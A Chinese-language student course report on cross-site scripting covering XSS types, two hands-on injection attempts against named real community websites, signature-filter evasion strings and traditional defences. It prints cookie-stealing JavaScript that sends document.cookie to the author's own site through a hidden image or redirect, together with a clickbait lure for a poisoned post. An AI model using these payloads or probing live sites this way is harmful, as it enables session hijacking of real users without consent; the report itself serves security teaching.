南阳理工学院web安全技术项目大作业(XSS跨站脚本攻击课题分析与总结)班级:13网安四班姓名:彭克杰学号:1315935027指导老师:张鑫目录:一、XSS攻击介绍-------------------------------------------1二、XSS漏洞分类-------------------------------------------1三、XSS攻击实例-------------------------------------------2四、XSS的一些传统防御技术---------------------------------9五、综述-------------------------------------------------10一、XSS攻击介绍XSS攻击:即跨站脚本攻击(CrossSiteScripting),为不和层叠样式表(CascadingStyleSheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(sameoriginpolicy)。这种类型的漏洞由于被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击,黑客界共识是:跨站脚本攻击是新型的“缓冲区溢出攻击“,而JavaScript是新型的“ShellCode”。二、XSS漏洞分类XSS漏洞按照攻击利用手法的不同,有以下三种类型:1、类型A:本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。其攻击过程如下所示:Alice给Bob发送一个恶意构造了Web的URL。Bob点击并查看了这个URL。恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。2、类型B:反射式漏洞,这种漏洞和类型A有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。其攻击过程如下:Alice经常浏览某个网站,此网站为Bob所拥有。Bob的站点运行Alice使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)。Charly发现Bob的站点包含反射性的XSS漏洞。Charly编写一个利用漏洞的URL,并将其冒充为来自Bob的邮件发送给Alice。Alice在登录到Bob的站点后,浏览Charly提供的URL。3、类型C:存储式漏洞,该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,黑客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。其攻击过程如下:Bob拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。Charly注意到Bob的站点具有类型C的XSS漏洞。Charly发布一个热点信息,吸引其它用户纷纷阅读。Bob或者是任何的其他人如Alice浏览该信息,其会话cookies或者其它信息将被Charly盗走。类型A直接威胁用户个体,而类型B和类型C所威胁的对象都是企业级Web应用。嵌入到URL中的恶意脚本在Alice的浏览器中执行,就像它直接来自Bob的服务器一样。此脚本盗窃敏感信息(授权、信用卡、帐号信息等)然后在Alice完全不知情的情况下将这些信息发送到Charly的Web站点。三、XSS攻击实例下面的例子我只是简单的注入alert('xss'),至于恶意用户完全可以把alert('xss')换成他想要的任意的js代码,用来发送post或者get请求修改用户的资料,获取用户好友信息,伪造发送私信,甚至做成蠕虫散播到整个web应用,所以千万不要小看了XSS注入攻击带来的后果,并不是alert一个对话框那么简单!1.实例:XSS注入名城苏州论坛:的论坛然后注册了一个帐号,发布一个新话题,输入以下代码:上面的代码就是输入一个网络分享的图片,我在src中直接写入了javascript:alert('xss');操作成功后生成帖子,用IE6、7的用户打开这个我发的这个帖子就会出现下图的alert('xss')弹窗。当然我会将标题设计的非常吸引人点击,比如“陈冠希艳照又有流出2016版(20P无码)”,这样如果我将里面的alert换成恶意代码,比如:location.href='='+document.cookie;用户的cookie我也拿到了,如果服务端session没有设置过期的话,我以后甚至拿这个cookie而不需用户名密码,就可以以这个用户的身份登录成功了。这里的location.href只是处于简单这样做,如果做了跳转这个帖子很快会被管理员删除,但是如果我写如下代码,并且帖子的内容也是比较真实的,说不定这个帖子就会祸害很多人:varimg=document.createElement('img');img.src='='+document.cookie;img.style.display='none';document.getElementsByTagName('body')[0].appendChild(img);这样就神不知鬼不觉的把当前用户的cookie发送给了我的恶意站点,我的恶意站点通过获取get参数就拿到了用户的cookie。当然我们可以通过这个方法拿到用户各种各样的数据。2.下面这个实例是苏州人社区,我访问社区,这是一个面向于苏州人的sns社区,主要界面是抄袭的新浪微博。注入尝试1:直接输入script标签,发现php将单引号和双引号都转义了,而且也将这类符号过滤掉了,尝试失败,继续寻找突破口。注入尝试2:图片注入,有些sns社区可以让用户自己上传图片,然后填写ref属性或者title属性,这些属性往往会成为注入点,如果应用程序文件名没有修改的话也可能被注入。更有胜者,在新版本的discuz中,用户可以分享照片还可以查看照片的exif信息,比如光圈相机型号等等,有达人用软件修改了exif信息,在里面嵌入恶意js代码,然后吸引用户查看exif信息。但是这个szr社区并不提供图片title设置,而且上传的图片都经过服务端的改名了。尝试再次失败,不气馁继续寻找突破口。注入尝试3:我们发现了视频这个按钮,这个功能可以通过视频的连接地址分享视频,比如我可以发优酷上的视频地址来分享给其他用户。于是我打开视频功能,在输入框中写入:“onclick=alert('xss')title=xss生成了如下图的情况:虽然注入还是失败了,php将单引号转义了,但是我们发现szr社区并没有对我输入的url进行有效性验证,而且没有过滤双引号,所以导致了整个html的dom元素测漏了。测漏是一个术语,表示XSS攻击提前闭合了html标签。我们找到了突破口,下面就是如何处理掉讨人厌的转义反斜杠了。注入尝试4:既然单引号和双引号都被转义干掉了,我们就不能利用他们了,换一个思路我们可以绕过单引号和双引号输出字符串吗?答案是肯定的,我再添加视频路径,输入以下代码:=alert(this.name)name=xssref=xss构建成功后如图:我们成功注入了onclick事件和name属性,接下来发生的事情就和我们想象中一样了。当用户点击了我们的视频按钮,弹出了对话框xss,我们注入成功了,可能有些朋友会说那是因为php端没有验证视频的有效性,比如这段url放在浏览器中是无法打开的,只需要在后端简单请求一下这个地址就可以过滤掉这类攻击了,答案当然也是否定的,我们看如下代码:=alert(this.name)name=xssref=xss你可以把这段url贴入到浏览器中,发现还是可以打开百度页面的。所以仅仅验证url的有效性是远远不够的。四、xss的传统防御1.基于特征的防御XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同。这就给XSS漏洞防御带来了困难:不可能以单一特征来概括所有XSS攻击。传统XSS防御多采用特征匹配方式,在所有提交的信息中都进行匹配检查。对于这种类型的XSS攻击,采用的模式匹配方法一般会需要对“javascript”这个关键字进行检索,一旦发现提交信息中包含“javascript”,就认定为XSS攻击。这种检测方法的缺陷显而易见:骇客可以通过插入字符或完全编码的方式躲避检测:躲避方法1)在javascript中加入多个tab键,得到IMGSRC=javascript:alert('XSS');;躲避方法2)在javascript中加入(空格)字符,得到IMGSRC=javascript:alert('XSS');;躲避方法3)在javascript中加入(回车)字符,得到IMGSRC=javascript:alert('XSS');;躲避方法4)在javascript中的每个字符间加入回车换行符,得到IMGSRC=javascrip\r\nt:alert('XSS');躲避方法5)对javascript:alert('XSS')采用完全编码,得到IMGSRC=javascrip?74:alert('XSS')上述方法都可以很容易的躲避基于特征的检测。而除了会有大量的漏报外,基于特征的还存在大量的误报可能:在上面的例子中,对上述某网站这样一个地址,由于包含了关键字“javascript”,也将会触发报警。2.基于代码修改的防御和SQL注入防御一样,XSS攻击也是利用了Web页面的编写疏忽,所以还有一种方法就是从Web应用开发的角度来避免:步骤1、对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。步骤2、实现Session标记(sessiontokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。步骤3、确认接收的的内容被妥善的规范化,仅包含最小的、安全的Tag(没有javascript),去掉任何对远程内容的引用(尤其是样式表和javascript),使用HTTPonly的cookie。当然,如上操作将会降低Web业务系统的可用性,用户仅能输入少量的制定字符,人与系统间的交互被降到极致,仅适用于信息发布型站点。并且考虑到很少有Web编码人员受过正规的安全培训,很难做到完全避免页面中的XSS漏洞。五、综述XSS攻击作为Web业务的最大威胁之一,不仅危害Web业务本身,对访问Web业务的用户也会带来直接的影响,如何防范和阻止XSS攻击,保障Web站点的业务安全,是定位于业务威胁防御的入侵防御产品的本职工作。